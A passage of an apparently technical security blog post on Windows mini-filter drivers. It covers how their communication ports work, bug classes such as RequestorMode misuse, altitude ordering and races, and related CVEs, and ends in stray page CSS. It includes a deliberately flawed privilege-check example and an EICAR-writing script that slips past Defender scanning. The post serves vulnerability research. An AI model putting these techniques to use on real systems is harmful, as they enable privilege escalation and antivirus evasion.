InitializeObjectAttributes(&ObjAttr, &Name, 0, NULL, SecurityDescriptor);












The name of the port is specified using an OBJECT_ATTRIBUTES structure, in this example the filter port will be called \FilterPortName in the Object Manager Namespace (OMNS). The driver should also specify the security descriptor to be associated with the port through the OBJECT_ATTRIBUTES. It’s most common to call the FltBuildDefaultSecurityDescriptor API to build a security descriptor which only grants administrators access to the port. However, the driver can configure the security any way it likes.

In FltCreateCommunicationPort the filter manager creates a new named kernel object of type FilterConnectionPort with the OBJECT_ATTRIBUTES and associates it with the callbacks. There’s no NtOpenFilterConnectionPort system call to open a port. Instead when a user wants to access the port it must first open a handle to the filter manager message device object, \FileSystem\Filters\FltMgrMsg, passing an extended attributes structure identifying the full OMNS path to the port.

It is much easier to open a port by calling the FilterConnectCommunicationPort API in user-mode, so you don’t need to deal with connecting manually. When opening a port you can also specify an arbitrary context buffer to pass to the connect callback. This can be used to configure the open port instance. On connection the connect notification callback passed to FltCreateCommunicationPort will be called. The prototype for the callback is as follows:

typedef NTSTATUS


      PFLT_PORT ClientPort,

      PVOID ServerPortCookie,

      PVOID ConnectionContext,

      ULONG SizeOfContext,

      PVOID *ConnectionPortCookie


The ConnectionContext and SizeOfContext are values passed from user-mode when calling FilterConnectCommunicationPort. The ConnectionContext has its length verified and copied into kernel memory before use. However, there’s no structure for the context so the driver must still carefully verify its contents before using it. The driver can reject a caller by returning an error NT status code. This allows the driver to do things like verify the caller is in a signed binary or similar, which is likely something security products will do.

If the connection is allowed the ConnectionPortCookie pointer can be updated with a pointer to an allocated structure unique to the client. This pointer will be passed back to the driver in the message and disconnect notification callbacks.

You can enumerate what ports are currently registered by inspecting the OMNS. For example, to enumerate the ports in the root of the OMNS using my NtObjectManager PowerShell module run the following command:

PS> ls NtObject:\ | Where-Object TypeName -eq "FilterConnectionPort"

Name                                      TypeName            

----                                      --------            

storqosfltport                            FilterConnectionPort

MicrosoftMalwareProtectionRemoteIoPortWD  FilterConnectionPort

MicrosoftMalwareProtectionVeryLowIoPortWD FilterConnectionPort

WcifsPort                                 FilterConnectionPort

MicrosoftMalwareProtectionControlPortWD   FilterConnectionPort

BindFltPort                               FilterConnectionPort

MicrosoftMalwareProtectionAsyncPortWD     FilterConnectionPort

CLDMSGPORT                                FilterConnectionPort

MicrosoftMalwareProtectionPortWD          FilterConnectionPort

You might notice there is also a FilterCommunicationPort kernel object type. This is the object used for the client-end where FilterConnectionPort is the mini-filter server end. You should never see a FilterCommunicationPort named object in the OMNS.

When the port is opened the kernel will check the security descriptor for access. Unfortunately there’s no way to directly query the assigned security descriptor for a port from user-mode. The simplest way to test is to just try and open the port and see if it returns an access denied error.

PS> $ports = ls NtObject:\ | 

Where-Object TypeName -eq "FilterConnectionPort"

PS> foreach($port in $ports.Name) {

    Write-Host "\$port"

    Use-NtObject($p = Get-FilterConnectionPort "\$port") {}



Exception: "(0x80070005) - Access is denied."


Exception: "(0x8007017C) - The cloud operation is invalid."

We can see two ports output in the previous code snippet. The BindFltPort port fails with an access denied error, while the CLDMSGPORT port (which is part of the Cloud Filter driver) returns “The cloud operation is invalid.”. The second error indicates that we’ve likely opened the port, but you’ll need to supply specific parameters in the context buffer when calling the FilterConnectCommunicationPort API. You can specify the connection context for the Get-FilterConnectionPort command by specifying a byte array to the Context parameter.

PS> $port = Get-FilterConnectionPort -Path "\PORT" -Context @(0, 1, 2, 3)

We can inspect the security descriptor for a port if you’ve got a Windows system with a kernel debugger enabled and a copy of WinDBG.

0: kd> !object \CLDMSGPORT

Object: ffffb487447ff8c0  Type: (ffffb4873d67dc40) FilterConnectionPort

    ObjectHeader: ffffb487447ff890 (new version)

    HandleCount: 1  PointerCount: 4

    Directory Object: ffff8a8889a2d4e0  Name: CLDMSGPORT

0: kd> dx (((nt!_OBJECT_HEADER*)0xffffb487447ff890)->SecurityDescriptor & ~0x7)

(((nt!_OBJECT_HEADER*)0xffffb487447ff890)->SecurityDescriptor & ~0x7) : 0xffff8a888dccb0a0

0: kd> !sd 0xffff8a888dccb0a0 1

->Revision: 0x1

->Sbz1    : 0x0

->Control : 0x9004




->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)

->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

->Dacl    :

->Dacl    : ->AclRevision: 0x2

->Dacl    : ->Sbz1       : 0x0

->Dacl    : ->AclSize    : 0x1c

->Dacl    : ->AceCount   : 0x1

->Dacl    : ->Sbz2       : 0x0

->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE

->Dacl    : ->Ace[0]: ->AceFlags: 0x0

->Dacl    : ->Ace[0]: ->AceSize: 0x14

->Dacl    : ->Ace[0]: ->Mask : 0x001f0001

->Dacl    : ->Ace[0]: ->SID: S-1-5-11 (Well Known Group: NT AUTHORITY\Authenticated Users)

->Sacl    :  is NULL

To dump the SD you first query for the object address of the filter communication port using the !object command. From the output you take the address of the OBJECT_HEADER structure and query the SecurityDescriptor field. Note you must clear the lower 3 bits of the address to make a valid security descriptor pointer. Finally we can print the security descriptor using the !sd command. The output shows that the security descriptor grants the Authenticated Users group access to connect to the port.

With an open handle to the port you can now send and receive messages. The filter manager supports both user to kernel and kernel to user message directions. For the user to kernel messages you call the FilterSendMessage API which sends a raw memory buffer to the filter driver and returns a separate buffer as shown in the following prototype:

HRESULT FilterSendMessage(

  HANDLE  hPort,

  LPVOID  lpInBuffer,

  DWORD   dwInBufferSize,

  LPVOID  lpOutBuffer,

  DWORD   dwOutBufferSize,

  LPDWORD lpBytesReturned


The message is delivered to the filter driver’s message notification callback specified when registering the mini-filter. The callback has the following prototype.

typedef NTSTATUS


      IN PVOID PortCookie,

      IN PVOID InputBuffer OPTIONAL,

      IN ULONG InputBufferLength,

      OUT PVOID OutputBuffer OPTIONAL,

      IN ULONG OutputBufferLength,

      OUT PULONG ReturnOutputBufferLength


The handling of the message is similar to a device IO control call. In fact under the hood it’s implemented using the device IO control code 0x8801B. As this code uses the METHOD_NEITHER method means the InputBuffer and OutputBuffer parameters are pointers into user-mode memory. The filter manager does check them before calling the callback with ProbeForRead and ProbeForWrite calls.

You can send a message to a filter connection port in PowerShell using the Send-FilterConnectionPort command specifying the data to send and the maximum size of the output buffer.

PS> Send-FilterConnectionPort -Port $port -Input @(0, 1, 2, 3) -MaximumOutput 0x100

For the kernel to user messages the user mode application needs to call FilterGetMessage to wait for the filter driver to send a message to user-mode. The kernel sends a message to the waiting user mode application using the FltSendMessage API which has the following prototype.

NTSTATUS FltSendMessage(

  PFLT_FILTER    Filter,

  PFLT_PORT      *ClientPort,

  PVOID          SenderBuffer,

  ULONG          SenderBufferLength,

  PVOID          ReplyBuffer,

  PULONG         ReplyLength,



If there’s currently no waiting user mode process the API can wait a specified timeout until the application called FilterGetMessage. The returned buffer from FilterGetMessage contains a FILTER_MESSAGE_HEADER structure followed by the data. The header contains the size of the reply requested as well as a message ID which is used to correlate any reply to the kernel’s message.

To reply the user-mode application calls the FilterReplyMessage API. The user-mode application needs to append any data to a FILTER_REPLY_HEADER structure which contains the NT status code of the operation and the correlated message ID. The FltSendMessage API waits for the user-mode application to call FilterReplyMessage with the correct ID, and returns a buffer to the kernel-mode code. The message notification callback is not involved when using kernel to user-mode calls.

Filter Callbacks

Typically the purpose of the mini-filter callbacks would be to inspect or modify pre-existing IO requests to a file system. Therefore one way of getting untrusted data to the driver is based on how it handles IO requests.  However, it’s possible to add additional functionality on top of an existing file system to allow for communication between user mode and kernel mode. The filter driver can add a callback for device or file system IO control code requests and check and handle its own control codes. This allows the filter to implement additional functionality on existing files.

The following is a simple example of adding a FSCTL_REVERSE_BYTES FS IO control code to an existing file system. This FSCTL is not really supported by any filesystem.









    PVOID* CompletionContext

) {

    PFLT_PARAMETERS ps = &Data->Iopb->Parameters;

    if (ps->DeviceIoControl.Common.IoControlCode != FSCTL_REVERSE_BYTES) {



    char* buffer = ps->DeviceIoControl.Buffered.SystemBuffer;

    ULONG length = min(ps->DeviceIoControl.Buffered.InputBufferLength,


    for (ULONG i = 0; i < length; ++i)


        char tmp = buffer[i];

        buffer[i] = buffer[length - i - 1];

        buffer[length - i - 1] = tmp;


    Data->IoStatus.Status = STATUS_SUCCESS;

    Data->IoStatus.Information = length;



The parameters for the FSCTL or IOCTL are separated based on the method of buffer access. In this case the FSCTL uses METHOD_BUFFERED so the parameters are accessed through the Buffered field. The filter driver needs to ensure it handles correctly all buffer types if it wants to implement its own control codes.

This technique is used by the Windows Overlay Filter (WOF). For example, the FSCTL code FSCTL_SET_EXTERNAL_BACKING is not supported by NTFS. Instead it’s intercepted by a pre-operation callback in the WOF filter which completes it before it reaches the NTFS driver. The NTFS driver never sees the control code, unless the WOF driver happens to not be enabled.

Reparse Points

Reparse point buffers are most commonly known for implementing symbolic link support for NTFS. However the reparse point feature of NTFS can store arbitrary tagged data which is used by filter drivers to store additional offline state information for a file. For example, WOF uses its own reparse buffer, with the tag IO_REPARSE_TAG_WOF to store the location of the real file or status of a compressed file.

A user-mode application would set, query and delete using FSCTL control codes, such as FSCTL_SET_REPARSE_POINT. The recommended way a mini-filter driver should set and delete a file’s reparse buffer is through the FltTagFile (and FltTagFileEx) and FltUntagFile APIs to set and remove the reparse buffer. Searching for the driver’s imported APIs should quickly show whether the driver uses its own reparse buffer format.

To open a file with the supported reparse point buffer the driver could register for the post-create callback and wait for any request which returns the STATUS_REPARSE NT status then query for the reparse point data from the TagData field in the FLT_CALLBACK_DATA parameter. If the reparse tag matches one the filter driver supports it can re-issue the create request but specify the FILE_OPEN_REPARSE_POINT flag to open the file and ignore the reparse point. There are many problems with this, not least it requires two IO requests for a single creation and the driver would have to process every reparse event.

To simplify this Windows 10 supports the ECP_TYPE_OPEN_REPARSE_GUID ECP. You add the ECP with a buffer containing an OPEN_REPARSE_LIST_ENTRY structure which defines the reparse tag the driver handles. When NTFS encounters a reparse point buffer it checks to see if it’s in the open reparse list. If so instead of returning STATUS_REPARSE the OPEN_REPARSE_POINT_TAG_ENCOUNTERED flag is set in the OPEN_REPARSE_LIST_ENTRY structure, the file is opened and success NT status code is returned. The filter driver can then check for the flag in the post-create callback, if set it can query the reparse tag from the file, for example using FSCTL_GET_REPARSE_POINT and handle accordingly.

The filter manager also exposes the FltAddOpenReparseEntry and FltRemoveOpenReparseEntry to simplify adding and removing these open reparse list entries. Searching for use of these APIs should give you an idea if the filter driver implements its own reparse point format.

The reason I mention this in the context of communication is that a filter driver will process these reparse buffers when accessing the file system. The NTFS driver only checks for the SeCreateSymbolicLinkPrivilege privilege if a user is writing the IO_REPARSE_TAG_SYMLINK tag. NTFS delegates the verification of the REPARSE_DATA_BUFFER structure which will be written to the file system by calling the kernel API FsRtlValidateReparsePointBuffer. The kernel API only does basic length checks for non-symlink tag types so the arbitrary bytes set in the DataBuffer field can be completely untrusted, which can allow for security issues during parsing.

Security Bug Classes

I’ve now provided examples of how a mini-filter operates and how you can communicate with it. Let’s finish up with an overview of potential bug classes to look for when doing a review. Some of these bug classes are common to any kernel driver, but others are very specifically due to the way mini-filters operate.

Where possible I’ll also provide an example of a vulnerability I’ve discovered to improve understanding. Note, this is not an exhaustive list, I’m sure there are some novel bug classes that I don’t know about which are missing from this list. Which is why it’s good to describe this process in more detail so others can take advantage of my knowledge and find new and interesting issues.

To aid in analysis I’ve uploaded my header file I use in IDA Pro to populate the filter manager types. You can get it from github. I’ve tried to ensure it’s correct and up to date, but there’s a chance that it is not. YMMV.

Common and garden variety memory safety hazards

Being native C code you can expect the same sorts of issues you’d find in any sizable code base including integer wrapping and incorrect reference counting leading to memory safety hazards. Any of the described communication methods could result in untrusted data being processed and mishandled. I don’t think I need to describe this in any detail.

Ignoring the RequestorMode Value

All filtered IO requests have an assigned RequestorMode parameter in the FLT_CALLBACK_DATA structure which indicates whether it originated from user or kernel mode code. If an IO request is dispatched from kernel mode code the IO manager and file system drivers typically disable security checks, such as file access checking.

There are a couple of related bug classes you’ll see with regards to RequestorMode. The first class is the filter driver ignoring its value. This can be a problem if the filter driver redirects the IO request to another file either directly or by using a reparse operation during file creation.

For example, CVE-2018-0877 was an issue I found in the WCIFS driver which provides file system virtualization for Desktop Bridge applications. The root cause was the driver would reparse to a user controllable location if the requested file didn’t exist in privileged Windows directories.

It’s common to find kernel code opening files inside privileged directories with RequestorMode set to the kernel. The kernel code can make the assumption this can’t be tampered with as only an administrator can normally modify those directories. The end result was a normal user application could get a file opened in the user controllable location but with access checking disabled. In the proof-of-concept in the issue tracker I exploit this to redirect a request for a National Language Support (NLS) file to ready arbitrary files on disk such as the SAM hive. The technique was described separately in this blog post.

Incorrect RequestorMode Check.

The second bug class in checking the RequestorMode can occur during a file create operation. Specifically the RequestorMode field is checked but the driver does not verify if access checking has been re-enabled through the IO_FORCE_ACCESS_CHECK flag passed to IoCreateFile and variants. For a bit more context on this bug class refer to my blog post from last year where I collaborated with Microsoft on related issues.





    PVOID* CompletionContext

) {

    if (!SeSinglePrivilegeCheck(SeExports->SeTcbPrivilege, 

                                Data->RequestorMode)) {

        Data->IoStatus.Status = STATUS_ACCESS_DENIED;

        return FLT_PREOP_COMPLETE;


    // Perform some privileged action.



The example above shows misuse of the RequestorMode field. It passes it directly to SeSinglePrivilegeCheck, if it indicates the call came from the kernel then the privilege check will always return TRUE meaning the privileged action will be taken. If you read the linked blog post, this can happen if the file is opened through calling IoCreateFileEx or similar APIs with incorrect flags.

To guard against this issue the driver needs to check if the SL_FORCE_ACCESS_CHECK flag has been set in the OperationFlags field of the FLT_IO_PARAMETER_BLOCK structure. If that flag is set the value of RequestorMode should always be assumed to be from user mode.

Driver and Kernel IO Operation Mismatch

The Windows platform is constantly iterating new features, this is even more true since the release of Windows 10 and its six month release cycles. This can introduce new features to the IO stack such as new information classes or IO control codes or additional functionality to existing features.

For the most part the mini-filter driver can just ignore operations it doesn’t care about. However, if it does process an IO operation it needs to match with what’s implemented in the rest of the OS, which can be difficult if the OS changes around the driver.

An example of this issue is the WOF driver’s handling of reparse points. To prevent applications from setting arbitrary reparse points with the IO_REPARSE_TAG_WOF tag it handles the FSCTL_SET_REPARSE_POINT IO control code and rejects any attempt to set a reparse point buffer with that tag. To complete the trick the driver also hides a file’s reparse point from being queried or removed if it’s set to IO_REPARSE_TAG_WOF.

The issue CVE-2020-17139 resulted from the OS adding a new FSCTL_SET_REPARSE_POINT_EX IO control code which the WOF driver didn’t handle. This allowed an application to add or remove the WOF IO tag which resulted in a way of getting an arbitrary file to have a cached code signature to bypass mechanisms such as Windows Defender Application Control.

Altitude sickness.

Sorry, I couldn’t resist the pun. This is a bug class which is caused by the ordering of filter operations based on the assigned altitudes of the driver. For example, if you look at the list of filters from the fltmc command shown earlier in this blog post you’ll notice that WdFilter which is the real-time scanner for Windows Defender is at a much higher altitude than LUAFV which is the UAC file virtualization driver.

What this means is if LUAFV performs some operations, such as calling FltCreateFileEx which only dispatches the IO request to filters below LUAFV then Windows Defender will miss the file operations and not be able to act on them. Let’s show this in action with a simple PowerShell script.

function Write-EICAR {


    # Replace with a real EICAR string.

    $eicar = [System.Text.Encoding]::ASCII.GetBytes("<EICAR>")

    Use-NtObject($f = New-NtFile -Win32Path $Path -Disposition OpenIf -Access ReadData, WriteData) {

        $f.Length = 0

        Write-NtFile $f $eicar -Offset 0



PS> Write-EICAR -Path "$env:TEMP\eicar.txt"

PS> Enable-NtTokenVirtualization

PS> Write-EICAR -Path "$env:windir\system32\license.rtf"

The Write-EICAR function opens or creates a new file at a specified path, truncates the file to a zero length, writes the EICAR string then closes the file. Note I’ve replaced the EICAR string with the dummy <EICAR>. You’ll need to look up the real string online and replace it before running the test. I did this to prevent some overzealous AV detecting the EICAR string and quarantining this web page.

We create an EICAR file in the temporary folder. Once the file has been closed Windows Defender’s real-time scanner should scan it and warn the user that it has quarantined the file.

However, once we enable virtualization using Enable-NtTokenVirtualization and write to an existing system file the file processing is handled inside the LUAFV driver after WdFilter has done its checking. Therefore the second command will succeed, although the file which is actually created is in the user’s virtual store, we’ve not overwritten license.rtf.

Worth pointing out that this only allows you to create the file on disk. The instant that virtualized file is used by any application Windows Defender will see it and quarantine it. Therefore it provides no real value to bypass Windows Defender’s signature checks. However, I think this is an interesting demonstration of the types of issues you could find due to the differing altitudes.

The mismatch with the filter altitude is also a potential reason you’ll miss file events in Process Monitor. Process Monitor runs its mini-filter to capture file events at altitude 385200 which is above LUAFV. You will not see most direct virtualization events. However we can do something about this, we can use fltmc to detach the Process Monitor filter from a volume and reattach at a much lower altitude. Start Process Monitor then run the following commands to reattach to the C: drive.

C:\> fltmc detach PROCMON24 C:

C:\> fltmc attach PROCMON24 C: -i "Process Monitor 24 Instance" -a 100

You might need to replace 24 with an appropriate version number for your version of Process Monitor. You should start seeing more events which were previously hidden by LUAFV and other filter drivers at lower altitudes. This should help you monitor file access for any interesting behavior. Sadly even though you can try and attach the Process Monitor filter to the named pipe device it won’t work as the driver doesn’t indicate support for that device.

Note, that stopping and starting the Process Monitor capture will reset the volume instances for the filter driver and remove the low altitude instance. If you create the new instance without the instance name (the string after -i) then it won’t get deleted, however Process Monitor will show duplicate entries for any IO request which is the same at both altitudes. The Process Monitor driver does not support attaching at a different altitude through any command line options, this would be one of those cases where it’d be useful for this tooling to be open source so that this feature could be added.

As an example before adding the low altitude instance if you create the EICAR test file you’ll see the following events:










Desired Access: Read Data, Write Data





EndOfFile: 0





Offset: 0, Length: 68





I’ve added an ID column which indicates the event taking place. The events match the code for creating the EICAR file, we open the file for read and write access, set the length to 0, write the EICAR string and then close the file. Note that in event ID 2 the path to the file has changed from the original one in system32 to the virtual store. This is because the file is “delay virtualized” so it’ll only be created if a write IO request, such as changing the file length, is dispatched to the file.

Now let’s compare the events when the altitude is set to 100:










Desired Access: Read Data, Write Data




Desired Access: Read Data





Desired Access: Read Data, Read Attributes




Desired Access: Write Data, Write Attributes




EndOfFile: 538




Offset: 0, Length: 538




Offset: 0, Length: 538




Offset: 538, Length: 16,384










Desired Access: Read Data, Write Data




EndOfFile: 0





Offset: 0, Length: 68, Priority: Normal








You can see that the list of events is much longer in the second case (I’ve even removed some for brevity). For event 0 it’s no longer a single create IO request for the license.rtf file. As the user doesn’t have write access when the create call is made to the file system it results in an ACCESS DENIED error. The LUAFV driver sees the error in its post-create callback and as virtualization is enabled it makes a second create for only read access. This second create succeeds. Due to the altitude of LUAFV this process is normally hidden from the Process Monitor.

In the first table event ID 2 we saw the caller setting the file length to 0. However in the second table we now see that the virtual file needs to be created and the contents of the original file are copied into the new virtual file. Only after that operation has been completed will the length of the file be set to 0. The last 2 events are more or less the same.

I hope this is a clear demonstration both of how the altitude directly affects the operation of mini-filter drivers as well as how much file information you might be missing in Process Monitor without realizing it.

Concurrency and Reentrancy

The IO manager is designed to operate asynchronously. It’s possible that multiple threads could be calling into the same IO driver at the same time and the filter manager is no different. There’s no explicit locking in the filter manager which would prevent multiple IO requests being dispatched at the same time to the same file object. This can lead to concurrency and reentrancy issues.

The filter driver can assign shared state based on the file stream or file object. This can be extracted in the filter when operating on the file and used to store and retrieve the current state information. If you dispatch multiple IO requests to the same file it can result in an invalid state or memory corruption issues.

An example of this kind of issue is CVE-2019-0836 which was a race condition in the LUAFV driver related to handling of the SECTION_OBJECT_POINTERS structure in the file object. Basically by racing a read against a write IO request on the same file it was possible to get the wrong SECTION_OBJECT_POINTERS structure assigned to the virtual file allowing a normal user to bypass access checks and map a read-only file as writable.

To solve this problem the driver needs to not maintain complex state between pre and post operation callbacks or over any calls out to any API which could be trapped by a user-mode application.

Incorrect Forwarding of IO Operations

We showed earlier how to retarget an IO operation to another file object by switching the TargetFileObject pointer. This needs to be done very carefully as when working with file object pointers directly almost any operation can be performed on them. For example, if a file is opened read-only a write operation can still be dispatched to the file object itself and it’ll succeed.

The only thing which prevents a user-mode application from doing this is the kernel checks that the handle passed by the application to the NtWriteFile system call has the FILE_WRITE_DATA access right set. If not the system call can return STATUS_ACCESS_DENIED. However, if the handle has write access to a file object, but the filter driver redirects that operation to a read-only file then the check is bypassed and the user can write to a file they don’t necessarily control.

Another place this can happen is the dispatch of IO control codes. Each control code has a flag which indicates if the file handle requires read and/or write access to be dispatched. This check is performed in the IO manager before the request ever makes it to the file system. If the filter drivers blindly forward IO control codes to a separate file it could send a code which normally requires write access on the handle bypassing security checks.

The LUAFV driver is a good example of a mini-filter driver where this forwarding takes place. The previously mentioned issue, CVE-2019-0836 while it’s a concurrency issue also relies on the fact that the file object can be written to even though it was opened read-only.


In summary I think that mini-filter drivers are an under-appreciated source of privilege escalation bugs on Windows. In part that’s because they’re not easy to understand. They have complex interactions with the rest of the IO system which makes understanding difficult but can introduce really subtle and interesting issues. I hope I’ve given you enough information to better understand how mini-filter drivers function, how you communicate with them and what sorts of unique bug classes you might discover.

If you want some more information a good blog on the inner workings of filters drivers is Of Filesystems and Other Demons. It’s not been updated in a long while but it still contains some valuable information. You can also refer to MSDN which has a fairly comprehensive section on mini-filters as well as the Windows Driver Kit sample code. Finally as a reminder I’ve uploaded a filter manager header file for use in reverse engineering tools such as IDA Pro.

Kategorie: Hacking & Security

In-the-Wild Series: Windows Exploits

12 Leden, 2021 - 18:37
@import url('');.lst-kix_7wd9rjsbnhpd-5>li:before{content:"\0025a0 "}.lst-kix_ujffjs3qawk9-3>li:before{content:"\0025cf "}.lst-kix_7wd9rjsbnhpd-4>li:before{content:"\0025cb "}.lst-kix_7wd9rjsbnhpd-6>li:before{content:"\0025cf "}.lst-kix_ujffjs3qawk9-2>li:before{content:"\0025a0 "}.lst-kix_ujffjs3qawk9-4>li:before{content:"\0025cb "}.lst-kix_7wd9rjsbnhpd-3>li:before{content:"\0025cf "}.lst-kix_7wd9rjsbnhpd-7>li:before{content:"\0025cb "}.lst-kix_7wd9rjsbnhpd-1>li:before{content:"\0025cb "}ol.lst-kix_oorscaxfsjcy-2.start{counter-reset:lst-ctn-kix_oorscaxfsjcy-2 0}.lst-kix_oorscaxfsjcy-4>li{counter-increment:lst-ctn-kix_oorscaxfsjcy-4}.lst-kix_ujffjs3qawk9-7>li:before{content:"\0025cb "}.lst-kix_7wd9rjsbnhpd-0>li:before{content:"\0025cf "}.lst-kix_7wd9rjsbnhpd-2>li:before{content:"\0025a0 "}.lst-kix_7wd9rjsbnhpd-8>li:before{content:"\0025a0 "}.lst-kix_ujffjs3qawk9-6>li:before{content:"\0025cf "}.lst-kix_ujffjs3qawk9-5>li:before{content:"\0025a0 "}.lst-kix_oorscaxfsjcy-7>li:before{content:"" counter(lst-ctn-kix_oorscaxfsjcy-7,lower-latin) ". "}.lst-kix_oorscaxfsjcy-8>li:before{content:"" counter(lst-ctn-kix_oorscaxfsjcy-8,lower-roman) ". "}.lst-kix_oorscaxfsjcy-5>li{counter-increment:lst-ctn-kix_oorscaxfsjcy-5}ul.lst-kix_ujffjs3qawk9-0{list-style-type:none}ol.lst-kix_oorscaxfsjcy-6.start{counter-reset:lst-ctn-kix_oorscaxfsjcy-6 0}.lst-kix_ujffjs3qawk9-0>li:before{content:"\0025cf "}.lst-kix_ujffjs3qawk9-1>li:before{content:"\0025cb "}.lst-kix_4skujdbstxjc-0>li:before{content:"\0025cf "}.lst-kix_oorscaxfsjcy-0>li:before{content:"" counter(lst-ctn-kix_oorscaxfsjcy-0,decimal) ". "}ol.lst-kix_oorscaxfsjcy-3.start{counter-reset:lst-ctn-kix_oorscaxfsjcy-3 0}.lst-kix_oorscaxfsjcy-1>li:before{content:"" counter(lst-ctn-kix_oorscaxfsjcy-1,lower-latin) ". "}.lst-kix_oorscaxfsjcy-6>li:before{content:"" counter(lst-ctn-kix_oorscaxfsjcy-6,decimal) ". "}ol.lst-kix_oorscaxfsjcy-0.start{counter-reset:lst-ctn-kix_oorscaxfsjcy-0 0}.lst-kix_oorscaxfsjcy-5>li:before{content:"" counter(lst-ctn-kix_oorscaxfsjcy-5,lower-roman) ". "}.lst-kix_oorscaxfsjcy-3>li:before{content:"" counter(lst-ctn-kix_oorscaxfsjcy-3,decimal) ". "}.lst-kix_oorscaxfsjcy-4>li:before{content:"" counter(lst-ctn-kix_oorscaxfsjcy-4,lower-latin) ". "}.lst-kix_ujffjs3qawk9-8>li:before{content:"\0025a0 "}.lst-kix_oorscaxfsjcy-2>li:before{content:"" counter(lst-ctn-kix_oorscaxfsjcy-2,lower-roman) ". "}ol.lst-kix_oorscaxfsjcy-0{list-style-type:none}ol.lst-kix_oorscaxfsjcy-1{list-style-type:none}ol.lst-kix_oorscaxfsjcy-2{list-style-type:none}ol.lst-kix_oorscaxfsjcy-4.start{counter-reset:lst-ctn-kix_oorscaxfsjcy-4 0}ul.lst-kix_7wd9rjsbnhpd-7{list-style-type:none}ol.lst-kix_oorscaxfsjcy-3{list-style-type:none}ul.lst-kix_7wd9rjsbnhpd-8{list-style-type:none}ol.lst-kix_oorscaxfsjcy-4{list-style-type:none}ol.lst-kix_oorscaxfsjcy-5{list-style-type:none}ol.lst-kix_oorscaxfsjcy-6{list-style-type:none}ol.lst-kix_oorscaxfsjcy-7{list-style-type:none}.lst-kix_oorscaxfsjcy-7>li{counter-increment:lst-ctn-kix_oorscaxfsjcy-7}.lst-kix_oorscaxfsjcy-1>li{counter-increment:lst-ctn-kix_oorscaxfsjcy-1}ol.lst-kix_oorscaxfsjcy-8{list-style-type:none}ol.lst-kix_oorscaxfsjcy-7.start{counter-reset:lst-ctn-kix_oorscaxfsjcy-7 0}.lst-kix_oorscaxfsjcy-8>li{counter-increment:lst-ctn-kix_oorscaxfsjcy-8}ol.lst-kix_oorscaxfsjcy-1.start{counter-reset:lst-ctn-kix_oorscaxfsjcy-1 0}.lst-kix_oorscaxfsjcy-2>li{counter-increment:lst-ctn-kix_oorscaxfsjcy-2}ul.lst-kix_7wd9rjsbnhpd-5{list-style-type:none}ul.lst-kix_7wd9rjsbnhpd-6{list-style-type:none}ul.lst-kix_7wd9rjsbnhpd-3{list-style-type:none}ul.lst-kix_7wd9rjsbnhpd-4{list-style-type:none}ul.lst-kix_7wd9rjsbnhpd-1{list-style-type:none}ul.lst-kix_7wd9rjsbnhpd-2{list-style-type:none}ul.lst-kix_7wd9rjsbnhpd-0{list-style-type:none}ul.lst-kix_4skujdbstxjc-1{list-style-type:none}ul.lst-kix_4skujdbstxjc-0{list-style-type:none}ul.lst-kix_4skujdbstxjc-3{list-style-type:none}.lst-kix_oorscaxfsjcy-3>li{counter-increment:lst-ctn-kix_oorscaxfsjcy-3}.lst-kix_4skujdbstxjc-1>li:before{content:"\0025cb "}ul.lst-kix_4skujdbstxjc-2{list-style-type:none}.lst-kix_4skujdbstxjc-3>li:before{content:"\0025cf "}ul.lst-kix_4skujdbstxjc-5{list-style-type:none}.lst-kix_oorscaxfsjcy-6>li{counter-increment:lst-ctn-kix_oorscaxfsjcy-6}ul.lst-kix_4skujdbstxjc-4{list-style-type:none}ul.lst-kix_4skujdbstxjc-7{list-style-type:none}.lst-kix_4skujdbstxjc-2>li:before{content:"\0025a0 "}ul.lst-kix_4skujdbstxjc-6{list-style-type:none}ol.lst-kix_oorscaxfsjcy-8.start{counter-reset:lst-ctn-kix_oorscaxfsjcy-8 0}ul.lst-kix_ujffjs3qawk9-5{list-style-type:none}ul.lst-kix_4skujdbstxjc-8{list-style-type:none}ul.lst-kix_ujffjs3qawk9-6{list-style-type:none}ul.lst-kix_ujffjs3qawk9-7{list-style-type:none}.lst-kix_4skujdbstxjc-5>li:before{content:"\0025a0 "}ul.lst-kix_ujffjs3qawk9-8{list-style-type:none}ul.lst-kix_ujffjs3qawk9-1{list-style-type:none}ul.lst-kix_ujffjs3qawk9-2{list-style-type:none}{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}ul.lst-kix_ujffjs3qawk9-3{list-style-type:none}.lst-kix_4skujdbstxjc-4>li:before{content:"\0025cb "}ul.lst-kix_ujffjs3qawk9-4{list-style-type:none}.lst-kix_4skujdbstxjc-6>li:before{content:"\0025cf "}ol.lst-kix_oorscaxfsjcy-5.start{counter-reset:lst-ctn-kix_oorscaxfsjcy-5 0}.lst-kix_4skujdbstxjc-7>li:before{content:"\0025cb "}.lst-kix_4skujdbstxjc-8>li:before{content:"\0025a0 "}.lst-kix_oorscaxfsjcy-0>li{counter-increment:lst-ctn-kix_oorscaxfsjcy-0}ol{margin:0;padding:0}table td,table th{padding:0}.c24{border-right-style:solid;padding-top:4pt;border-top-width:1pt;border-bottom-color:#000000;border-right-width:1pt;padding-left:4pt;border-left-color:#000000;padding-bottom:4pt;line-height:1.15;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;border-top-color:#000000;border-bottom-style:solid;orphans:2;widows:2;text-align:left;padding-right:4pt}.c42{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#f4cccc;border-left-style:solid;border-bottom-width:1pt;width:79.5pt;border-top-color:#000000;border-bottom-style:solid}.c48{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#d9ead3;border-left-style:solid;border-bottom-width:1pt;width:114pt;border-top-color:#000000;border-bottom-style:solid}.c34{border-right-style:solid;padding:5pt 5pt 5pt 